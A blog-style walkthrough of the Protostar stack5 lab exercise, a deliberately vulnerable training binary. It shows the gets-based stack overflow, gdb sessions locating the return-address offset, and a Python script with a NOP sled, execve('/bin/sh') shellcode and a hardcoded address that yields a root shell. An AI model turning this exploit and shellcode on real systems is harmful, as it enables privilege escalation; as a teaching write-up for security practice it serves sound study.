Protostar vm, stack5

Here is the source of the vulnerable program :

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

This time, we have to execute a buffer overflow and execute shellcode.

Basically I’ll try the same trick but instead of a random padding I’ll put the shellcode in the buffer.

Here is what the payload will look like :

nop padding + shellcode + address of shellcode

So first, let’s get the offset of the %eip register :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disass main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and $0xfffffff0,%esp
0x080483ca <main+6>: sub $0x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break main
Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.
(gdb) break *main+21
Breakpoint 2 at 0x80483d9: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5

Breakpoint 1, main (argc=1, argv=0xbffff874) at stack5/stack5.c:10
10 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) i r
eax 0xbffff874 -1073743756
ecx 0x66e21e45 1726094917
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff770 0xbffff770
ebp 0xbffff7c8 0xbffff7c8
esi 0x0 0
edi 0x0 0
eip 0x80483cd 0x80483cd <main+9>
eflags 0x200282 [ SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/x $esp
0xbffff770: 0xb7fd7ff4
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAA

Breakpoint 2, main (argc=1, argv=0xbffff874) at stack5/stack5.c:11
11 in stack5/stack5.c
(gdb) x/x $esp
0xbffff770: 0xbffff780
(gdb) i r $ebp
ebp 0xbffff7c8 0xbffff7c8
(gdb) p $ebp +0x4 - 0xbffff780
$1 = (void *) 0x4c
(gdb) p 0x4c
$2 = 76
(gdb)

I’m placing two breakpoints here but only one is necessary : the one after the call to gets.
After the program hits the breakpoint, I need to check both %esp and %ebp registers in order to get the offset.

The offset of the %eip register is of 76b.

We also need to know where the buffer is being written.

1
2
3
4
5
6
7
8
9
10
(gdb) x/30x $esp
0xbffff770: 0xbffff780 0xb7ec6165 0xbffff788 0xb7eada75
0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff790: 0x41414141 0x08049500 0xbffff7c8 0x08048409
0xbffff7a0: 0xb7fd8304 0xb7fd7ff4 0x080483f0 0xbffff7c8
0xbffff7b0: 0xb7ec6365 0xb7ff1040 0x080483fb 0xb7fd7ff4
0xbffff7c0: 0x080483f0 0x00000000 0xbffff848 0xb7eadc76
0xbffff7d0: 0x00000001 0xbffff874 0xbffff87c 0xb7fe1848
0xbffff7e0: 0xbffff830 0xffffffff
(gdb)

So the buffer starts to get written at 0xbffff780. Since we have the NOP padding, I’ll put 0xbffff784 in %eip .

Now is the part where I should write the shellcode, but since I’m not able to do that yet I used this.

Let’s build the payload with that :

1
2
3
4
5
6
7
#!/usr/bin/env python

nop="\x90"
shellcode="\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42\x42"

payload=(76-len(shellcode))*nop+shellcode+"\x84\xf7\xff\xbf"
print payload

We’re almost done, let’s test the code :

1
2
user@protostar:~$ python pls.py | /opt/protostar/bin/./stack5
user@protostar:~$

Annnnnd nothing.

After searching the web for answers, I used this solution.

1
2
3
4
5
6
user@protostar:~$ python pls.py > payload 
user@protostar:~$ (cat payload ;cat) | /opt/protostar/bin/./stack5
whoami
root
ls
payload pls.py sh sh.c test